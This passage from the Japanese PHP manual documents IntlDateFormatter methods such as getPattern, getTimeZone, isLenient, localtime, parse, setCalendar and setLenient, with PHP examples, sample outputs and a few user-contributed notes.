echo 'Second Formatted output is ' . datefmt_format($fmt, 0);

?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . $fmt->getLocale();
echo 'First Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . $fmt->getLocale();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

上の例の出力は以下となります。

locale of the formatter is : en
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
locale of the formatter is : de
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00

参考

  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


IntlDateFormatter が使用するパターンを取得する

  • ≪ IntlDateFormatter::getLocale
  • IntlDateFormatter::getTimeType ≫
  • PHP Manual
  • IntlDateFormatter
  • IntlDateFormatter が使用するパターンを取得する

IntlDateFormatter::getPattern

datefmt_get_pattern

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::getPattern -- datefmt_get_pattern — IntlDateFormatter が使用するパターンを取得する

説明

オブジェクト指向型

public IntlDateFormatter::getPattern ( ) : string|false

手続き型

datefmt_get_pattern ( IntlDateFormatter $formatter ) : string|false

Formatter が使用するパターンを取得します。

パラメータ

formatter

Formatter リソース。

返り値

フォーマット/パース 時に使用するパターン文字列を返します。 失敗した場合に false を返します

例

例1 datefmt_get_pattern() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'First Formatted output with pattern is ' . datefmt_format($fmt, 0);
datefmt_set_pattern($fmt,'yyyymmdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'Second Formatted output with pattern is ' . datefmt_format($fmt, 0);

?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . $fmt->getPattern();
echo 'First Formatted output is ' . $fmt->format(0);
$fmt->setPattern('yyyymmdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ' . $fmt->getPattern();
echo 'Second Formatted output is ' . $fmt->format(0);
?>

上の例の出力は以下となります。

pattern of the formatter is : MM/dd/yyyy
First Formatted output is 12/31/1969
Now pattern of the formatter is : yyyymmdd hh:mm:ss z
Second Formatted output is 19690031 04:00:00 PST

参考

  • datefmt_set_pattern() - IntlDateFormatter が使用するパターンを設定する
  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


IntlDateFormatter が使用する時刻形式を取得する

  • ≪ IntlDateFormatter::getPattern
  • IntlDateFormatter::getTimeZoneId ≫
  • PHP Manual
  • IntlDateFormatter
  • IntlDateFormatter が使用する時刻形式を取得する

IntlDateFormatter::getTimeType

datefmt_get_timetype

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeType -- datefmt_get_timetype — IntlDateFormatter が使用する時刻形式を取得する

説明

オブジェクト指向型

public IntlDateFormatter::getTimeType ( ) : int|false

手続き型

datefmt_get_timetype ( IntlDateFormatter $formatter ) : int|false

Formatter が使用する時刻形式を返します。

パラメータ

formatter

Formatter リソース。

返り値

Formatter の現在の 日付形式 の値を返します。 失敗した場合に false を返します

例

例1 datefmt_get_timetype() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timetype of the formatter is : ' . datefmt_get_timetype($fmt);
echo 'First Formatted output with timetype is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::SHORT,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Now timetype of the formatter is : ' . datefmt_get_timetype($fmt);
echo 'Second Formatted output with timetype is ' . datefmt_format($fmt, 0);

?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timetype of the formatter is : ' . $fmt->getTimeType();
echo 'First Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::SHORT,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Now timetype of the formatter is : ' . $fmt->getTimeType();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

上の例の出力は以下となります。

timetype of the formatter is : 0
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Now timetype of the formatter is : 3
Second Formatted output is Wednesday, December 31, 1969 4:00 PM

参考

  • datefmt_get_datetype() - IntlDateFormatter が使用する日付形式を取得する
  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


IntlDateFormatter が使用するタイムゾーン ID を取得する

  • ≪ IntlDateFormatter::getTimeType
  • IntlDateFormatter::getCalendarObject ≫
  • PHP Manual
  • IntlDateFormatter
  • IntlDateFormatter が使用するタイムゾーン ID を取得する

IntlDateFormatter::getTimeZoneId

datefmt_get_timezone_id

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeZoneId -- datefmt_get_timezone_id — IntlDateFormatter が使用するタイムゾーン ID を取得する

説明

オブジェクト指向型

public IntlDateFormatter::getTimeZoneId ( ) : string|false

手続き型

datefmt_get_timezone_id ( IntlDateFormatter $formatter ) : string|false

IntlDateFormatter が使用するタイムゾーン ID を取得します。

パラメータ

formatter

Formatter リソース。

返り値

この Formatter が使用するタイムゾーンの ID 文字列を返します。 失敗した場合に false を返します

例

例1 datefmt_get_timezone_id() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timezone_id of the formatter is : ' . datefmt_get_timezone_id($fmt);
datefmt_set_timezone_id($fmt, 'CN');
echo 'Now timezone_id of the formatter is : ' . datefmt_get_timezone_id($fmt);

?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timezone_id of the formatter is : ' . $fmt->getTimezoneId();
$fmt->setTimezoneId('CN');
echo 'Now timezone_id of the formatter is : ' . $fmt->getTimezoneId();

?>

上の例の出力は以下となります。

timezone_id of the formatter is : America/Los_Angeles
Now timezone_id of the formatter is : CN

参考

  • datefmt_set_timezone_id()
  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


カレンダーオブジェクトのコピーを取得する

  • ≪ IntlDateFormatter::getTimeZoneId
  • IntlDateFormatter::getTimeZone ≫
  • PHP Manual
  • IntlDateFormatter
  • カレンダーオブジェクトのコピーを取得する

IntlDateFormatter::getCalendarObject

datefmt_get_calendar_object

(PHP 5 >= 5.5.0, PHP 7, PECL intl >= 3.0.0)

IntlDateFormatter::getCalendarObject -- datefmt_get_calendar_object — カレンダーオブジェクトのコピーを取得する

説明

オブジェクト指向型

public IntlDateFormatter::getCalendarObject ( ) : IntlCalendar|false|null

手続き型

datefmt_get_calendar_object ( IntlDateFormatter $formatter ) : IntlCalendar|false|null

このフォーマッターが内部的に使うカレンダーオブジェクトのコピーを取得します。 このカレンダーには型 (gregorian、japanese、buddhist、roc、persian、 islamic など) やタイムゾーンが設定されており、フォーマッターが使っている型やタイムゾーンと一致します。 オブジェクトの日付や時刻は指定されていません。

パラメータ

この関数にはパラメータはありません。

返り値

このフォーマッターが内部的に使うカレンダーオブジェクトのコピーを返します。 何も設定されなかった場合は null を返します。 失敗した場合に false を返します

例

例1 IntlDateFormatter::getCalendarObject() の例

<?php
$formatter = IntlDateFormatter::create(
    "fr_FR@calendar=islamic",
    NULL,
    NULL,
    "GMT-01:00",
    IntlDateFormatter::TRADITIONAL
);

$cal = $formatter->getCalendarObject();

var_dump(
    $cal->getType(),
    $cal->getTimeZone(),
    $cal->getLocale(Locale::VALID_LOCALE)
);

上の例の出力は以下となります。

string(7) "islamic"
object(IntlTimeZone)#3 (4) {
  ["valid"]=>
  bool(true)
  ["id"]=>
  string(9) "GMT-01:00"
  ["rawOffset"]=>
  int(-3600000)
  ["currentOffset"]=>
  int(-3600000)
}
string(5) "fr_FR"

参考

  • IntlDateFormatter::getCalendar() - IntlDateFormatter が使用するカレンダー型を取得する
  • IntlDateFormatter::setCalendar() - Formatter が使うカレンダー型を設定する
  • IntlCalendar

User Contributed Notes

There are no user contributed notes for this page.


タイムゾーンを取得する

  • ≪ IntlDateFormatter::getCalendarObject
  • IntlDateFormatter::isLenient ≫
  • PHP Manual
  • IntlDateFormatter
  • タイムゾーンを取得する

IntlDateFormatter::getTimeZone

datefmt_get_timezone

(PHP 5 >= 5.5.0, PHP 7, PECL intl >= 3.0.0)

IntlDateFormatter::getTimeZone -- datefmt_get_timezone — タイムゾーンを取得する

説明

オブジェクト指向型

public IntlDateFormatter::getTimeZone ( ) : IntlTimeZone|false

手続き型

datefmt_get_timezone ( IntlDateFormatter $formatter ) : IntlTimeZone|false

タイムゾーンを表す IntlTimeZone オブジェクトを返します。 このオブジェクトで日付や時刻をフォーマットするときに、このタイムゾーンを使います。 IntlCalendar や DateTime オブジェクトをこの IntlDateFormatter でフォーマットするときに使うタイムゾーンは、 このメソッドが返すものとなります。フォーマットしようとしているオブジェクトのタイムゾーンではありません。

パラメータ

この関数にはパラメータはありません。

返り値

IntlTimeZone オブジェクトを返します。 失敗した場合に false を返します。

例

例1 IntlDateFormatter::getTimeZone() の例

<?php

$madrid = IntlDateFormatter::create(NULL, NULL, NULL, 'Europe/Madrid');
$lisbon = IntlDateFormatter::create(NULL, NULL, NULL, 'Europe/Lisbon');

var_dump($madrid->getTimezone());
echo $madrid->getTimezone()->getDisplayName(
        false, IntlTimeZone::DISPLAY_GENERIC_LOCATION, "en_US"), "\n";
echo $lisbon->getTimeZone()->getId(), "\n";
// id は ->getTimezoneId() でも取得できます
echo $lisbon->getTimeZoneId(), "\n";

上の例の出力は以下となります。

object(IntlTimeZone)#4 (4) {
  ["valid"]=>
  bool(true)
  ["id"]=>
  string(13) "Europe/Madrid"
  ["rawOffset"]=>
  int(3600000)
  ["currentOffset"]=>
  int(7200000)
}
Spain Time
Europe/Lisbon
Europe/Lisbon

参考

  • IntlDateFormatter::getTimeZoneId() - IntlDateFormatter が使用するタイムゾーン ID を取得する
  • IntlDateFormatter::setTimeZone() - タイムゾーンを設定する
  • IntlTimeZone

User Contributed Notes

There are no user contributed notes for this page.


IntlDateFormatter で使用する寛大さを取得する

  • ≪ IntlDateFormatter::getTimeZone
  • IntlDateFormatter::localtime ≫
  • PHP Manual
  • IntlDateFormatter
  • IntlDateFormatter で使用する寛大さを取得する

IntlDateFormatter::isLenient

datefmt_is_lenient

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::isLenient -- datefmt_is_lenient — IntlDateFormatter で使用する寛大さを取得する

説明

オブジェクト指向型

public IntlDateFormatter::isLenient ( ) : bool

手続き型

datefmt_is_lenient ( IntlDateFormatter $formatter ) : bool

パターンに正確にマッチしていない入力の処理を、 パーサが厳格に行うのか寛大に行うのかを調べます。

パラメータ

formatter

Formatter リソース。

返り値

寛大なパーサの場合は true、厳格なパーサの場合は false 返します。 デフォルトのパーサは寛大なパーサです。

例

例1 datefmt_is_lenient() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'dd/mm/yyyy'
);
echo 'lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}
datefmt_set_lenient($fmt,false);
echo 'Now lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Trying to do parse('35/13/1971').Result is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    "dd/mm/yyyy"
);
echo "lenient of the formatter is : ";
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0){
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo 'Now lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

?>

上の例の出力は以下となります。

lenient of the formatter is : TRUE
Trying to do parse('35/13/1971').
Result is : -2147483
Now lenient of the formatter is : FALSE
Trying to do parse('35/13/1971').
Result is :
Error_msg is : Date parsing failed: U_PARSE_ERROR
Error_code is : 9

参考

  • datefmt_set_lenient() - パーサの寛大さを設定する
  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


文字列をパースして、フィールドベースの時刻値にする

  • ≪ IntlDateFormatter::isLenient
  • IntlDateFormatter::parse ≫
  • PHP Manual
  • IntlDateFormatter
  • 文字列をパースして、フィールドベースの時刻値にする

IntlDateFormatter::localtime

datefmt_localtime

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::localtime -- datefmt_localtime — 文字列をパースして、フィールドベースの時刻値にする

説明

オブジェクト指向型

public IntlDateFormatter::localtime ( string $string , int &$offset = null ) : array|false

手続き型

datefmt_localtime ( IntlDateFormatter $formatter , string $string , int &$offset = null ) : array|false

文字列 $value を変換し、フィールドベースの時刻値 (各フィールドを含む配列) にします。$parse_pos からパースを開始し、入力値を可能な限り使用します。

パラメータ

formatter

Formatter リソース。

string

時間に変換する文字列。

offset

$value のパースを開始する位置 (ゼロから数えます)。 $value を処理する前にエラーが発生していない場合は $parse_pos は -1 となります。それ以外の場合はパースが終了した位置となります (そしてエラーが発生します)。 この変数には、パースが失敗した場合にその終了位置が含まれます。 $parse_pos > strlen($value) の場合、パースは即時に失敗します。

返り値

Localtime 互換の、整数値の配列を返します。 tm_hour フィールド内の、24 時間制の時刻の値を含みます。 失敗した場合に false を返します

例

例1 datefmt_localtime() の例

<?php

$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$arr = datefmt_localtime($fmt, 'Wednesday, December 31, 1969 4:00:00 PM PT', 0);
echo 'First parsed output is ';
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}

?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$arr = $fmt->localtime('Wednesday, December 31, 1969 4:00:00 PM PT', 0);
echo 'First parsed output is ';
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}

?>

上の例の出力は以下となります。

First parsed output is tm_sec : 0 , tm_min : 0 , tm_hour : 16 , tm_year : 1969 ,
tm_mday : 31 , tm_wday : 4 , tm_yday : 365 , tm_mon : 11 , tm_isdst : 0 ,

参考

  • datefmt_create() - Date Formatter を作成する
  • datefmt_format() - 日付/時刻 の値を文字列としてフォーマットする
  • datefmt_parse() - 文字列をパースしてタイムスタンプにする
  • datefmt_get_error_code() - 直近の操作のエラーコードを取得する
  • datefmt_get_error_message() - 直近の操作のエラーテキストを取得する

User Contributed Notes

Patanjali 04-Mar-2017 11:19
Learning lesson here: Never trust the PHP documentation. Test everything!

$position does not work as described, at least in PHP 7. After parsing without errors, it does not contain -1.

You can still use it to set the parsing start character position, but not necessarily whether any errors occurred.

To test for errors, replace my $nPosition test code in the other note with:
<?php
// Check if errors
$bError = intl_is_failure(datefmt_get_error_code(oIDF));

// If no error
if(!$bError){
 // Use 'tm_hour' and 'tm_min' from the $aTime array for checking against other time values
 ...
}else{
 // Invalid string
 ...
}
?>
Patanjali 04-Mar-2017 03:55
You can use datefmt_localtime to convert a user's time string, input using their locale's script, into standard numbers for checking, using a simple HTML input element.

This avoids using clunky HTML select elements formatted with hour and minute options in the locale's script to capture user input.

<?php
// Specify locale of user
$sLocale = 'en-us'; // US English user
$sLocale = 'ar-ye'; // Yemen Arab user

// Create a date formatter for the user's locale
$oIDF = datefmt_create($sLocale, IntlDateFormatter::NONE, IntlDateFormatter::SHORT);

// Simulate a user's time input string
$sTime = datefmt_format($oIDF, ['tm_hour'=>15, 'tm_min'=>25]);
// For a US English user, $sTime = '3:25 PM'
// For a Yemen Arab user, $sTime = '?:?? ?'

// Specify datefmt_locale parsing start at the beginning of the user input
$nPosition = 0;

// Convert input time string to array of standard numeric values, as per localtime() output (http://php.net/manual/en/function.localtime.php)
$aTime = datefmt_localtime($oIDF, $sTime, $nPosition);
// If no errors, $nPosition set to -1 after parsing, else character position of error

// If valid string
if($nPosition = -1){
 // Use 'tm_hour' and 'tm_min' from the $aTime array for checking against other time values
 ...
}else{
 // Invalid string
 ...
}
?>


文字列をパースしてタイムスタンプにする

  • ≪ IntlDateFormatter::localtime
  • IntlDateFormatter::setCalendar ≫
  • PHP Manual
  • IntlDateFormatter
  • 文字列をパースしてタイムスタンプにする

IntlDateFormatter::parse

datefmt_parse

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::parse -- datefmt_parse — 文字列をパースしてタイムスタンプにする

説明

オブジェクト指向型

public IntlDateFormatter::parse ( string $string , int &$offset = null ) : int|float|false

手続き型

datefmt_parse ( IntlDateFormatter $formatter , string $string , int &$offset = null ) : int|float|false

string を時間に変換します。offset からパースを開始し、 入力値を可能な限り使用します。

パラメータ

formatter

Formatter リソース。

string

時間に変換する文字列。

offset

string のパースを開始する位置 (ゼロから数えます)。 string を処理する前にエラーが発生していない場合は offset は -1 となります。それ以外の場合はパースが終了した位置となります (そしてエラーが発生します)。 この変数には、パースが失敗した場合にその終了位置が含まれます。 offset > strlen($string) の場合、パースは即時に失敗します。

返り値

タイムスタンプとしてパースされた値を返します。 パースできなかった場合は false を返します。

例

例1 オブジェクト指向の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'First parsed output is ' . datefmt_parse($fmt, 'Wednesday, December 20, 1989 4:00:00 PM PT');
$fmt = datefmt_create(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Second parsed output is ' . datefmt_parse($fmt, 'Mittwoch, 20. Dezember 1989 16:00 Uhr GMT-08:00');
?>

例2 datefmt_parse() の例

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "First parsed output is ".datefmt_parse( $fmt ,  "Wednesday, December 20, 1989 4:00:00 PM PT");
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second parsed output is ".datefmt_parse( $fmt , "Mittwoch, 20. Dezember 1989 16:00 Uhr GMT-08:00");
?>

上の例の出力は以下となります。

First parsed output is 630201600
Second parsed output is 630201600

参考

  • datefmt_create() - Date Formatter を作成する
  • datefmt_format() - 日付/時刻 の値を文字列としてフォーマットする
  • datefmt_localtime() - 文字列をパースして、フィールドベースの時刻値にする
  • datefmt_get_error_code() - 直近の操作のエラーコードを取得する
  • datefmt_get_error_message() - 直近の操作のエラーテキストを取得する

User Contributed Notes

Anonymous 11-Jul-2018 11:44
Please note:
* on  a 32-bit system, parse() will return float if the value gets out of integer range
* while parse() parses fractional seconds with a format like 'yyyy-MM-dd HH:mm:ss.SSSSSS', it only returns an int. This is also true when the value is returned as float, msecs remain absent in the return value.


Formatter が使うカレンダー型を設定する

  • ≪ IntlDateFormatter::parse
  • IntlDateFormatter::setLenient ≫
  • PHP Manual
  • IntlDateFormatter
  • Formatter が使うカレンダー型を設定する

IntlDateFormatter::setCalendar

datefmt_set_calendar

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::setCalendar -- datefmt_set_calendar — Formatter が使うカレンダー型を設定する

説明

オブジェクト指向型

public IntlDateFormatter::setCalendar ( IntlCalendar|int|null $calendar ) : bool

手続き型

datefmt_set_calendar ( IntlDateFormatter $formatter , IntlCalendar|int|null $calendar ) : bool

このフォーマッターが使用するカレンダーあるいはカレンダー型を設定します。

パラメータ

formatter

フォーマッターリソース。

calendar

使用する カレンダー型 (デフォルトは IntlDateFormatter::GREGORIAN で、 null を指定した場合にもこれを使います)、あるいは IntlCalendar オブジェクト。

IntlCalendar オブジェクトが渡された場合は、それをクローンします。 引数として渡したオブジェクトは、何も変更されません。

フォーマッターのタイムゾーンを残すのは IntlCalendar オブジェクトが渡されなかった場合だけで、 このオブジェクトが渡された場合は新しいタイムゾーンを利用します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
5.5.0/PECL 3.0.0 | IntlCalendar オブジェクトを渡せるようになりました。

例

例1 datefmt_set_calendar() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt, IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . datefmt_get_calendar($fmt);
?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . $fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . $fmt->getCalendar();
?>

上の例の出力は以下となります。

calendar of the formatter is : 1
Now calendar of the formatter is : 0

例3 引数に IntlCalendar を使う例

<?php
$time = strtotime("2013-03-03 00:00:00 UTC");
$formatter = IntlDateFormatter::create("en_US", NULL, NULL, "Europe/Amsterdam");

echo "before: ", $formatter->format($time), "\n";

/* カレンダーのロケールは使われないことに注目 */
$formatter->setCalendar(IntlCalendar::createInstance(
               "America/New_York", "pt_PT@calendar=islamic"));

echo "after:  ", $formatter->format($time), "\n";

上の例の出力は以下となります。

before: Sunday, March 3, 2013 at 1:00:00 AM Central European Standard Time
after:  Saturday, Rabi? II 20, 1434 at 7:00:00 PM Eastern Standard Time

参考

  • datefmt_get_calendar() - IntlDateFormatter が使用するカレンダー型を取得する
  • datefmt_get_calendar_object() - カレンダーオブジェクトのコピーを取得する
  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


パーサの寛大さを設定する

  • ≪ IntlDateFormatter::setCalendar
  • IntlDateFormatter::setPattern ≫
  • PHP Manual
  • IntlDateFormatter
  • パーサの寛大さを設定する

IntlDateFormatter::setLenient

datefmt_set_lenient

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::setLenient -- datefmt_set_lenient — パーサの寛大さを設定する

説明

オブジェクト指向型

public IntlDateFormatter::setLenient ( bool $lenient ) : void

手続き型

datefmt_set_lenient ( IntlDateFormatter $formatter , bool $lenient ) : void

パターンに正確にマッチしていない入力の処理を、 パーサが厳格に行うのか寛大に行うのかを定義します。 寛大なパースを有効にすると、日付や時刻のパターンに不備がある場合でも 可能な限り値を取得しようと試みます。余計な空白があったり 理解不能なトークンがあったり、あるいは値が無効な場合 ("Feburary 30th") は処理できません。

パラメータ

formatter

Formatter リソース。

lenient

パーサを寛大なものにするかどうか。デフォルトは true (寛大) です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 datefmt_set_lenient() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'dd/MM/yyyy'
);
echo 'lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}
datefmt_set_lenient($fmt, false);
echo "\nNow lenient of the formatter is : ";
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\nTrying to do parse('35/13/1971').\nResult is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : ".intl_get_error_message();
    echo "\nError_code is : ".intl_get_error_code();
}

?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'dd/MM/yyyy'
);
echo 'lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo "\nNow lenient of the formatter is : ";
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

?>

上の例の出力は以下となります。

lenient of the formatter is : TRUE
Trying to do parse('35/13/1971').
Result is : 66038400
Now lenient of the formatter is : FALSE
Trying to do parse('35/13/1971').
Result is :
Error_msg is : Date parsing failed: U_PARSE_ERROR
Error_code is : 9

参考

  • datefmt_is_lenient() - IntlDateFormatter で使用する寛大さを取得する
  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


IntlDateFormatter が使用するパターンを設定する

  • ≪ IntlDateFormatter::setLenient
  • IntlDateFormatter::setTimeZone ≫
  • PHP Manual
  • IntlDateFormatter
  • IntlDateFormatter が使用するパターンを設定する

IntlDateFormatter::setPattern

datefmt_set_pattern

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

IntlDateFormatter::setPattern -- datefmt_set_pattern — IntlDateFormatter が使用するパターンを設定する

説明

オブジェクト指向型

public IntlDateFormatter::setPattern ( string $pattern ) : bool

手続き型

datefmt_set_pattern ( IntlDateFormatter $formatter , string $pattern ) : bool

IntlDateFormatter が使用するパターンを取得します。

パラメータ

formatter

Formatter リソース。

pattern

使用するパターン文字列。 使えるパターンについては » https://unicode-org.github.io/icu/userguide/format_parse/datetime/ を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 間違ったフォーマット文字列を指定すると、失敗します。

例

例1 datefmt_set_pattern() の例

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'First Formatted output with pattern is ' . datefmt_format($fmt, 0);
datefmt_set_pattern($fmt, 'yyyymmdd hh:mm:ss z');
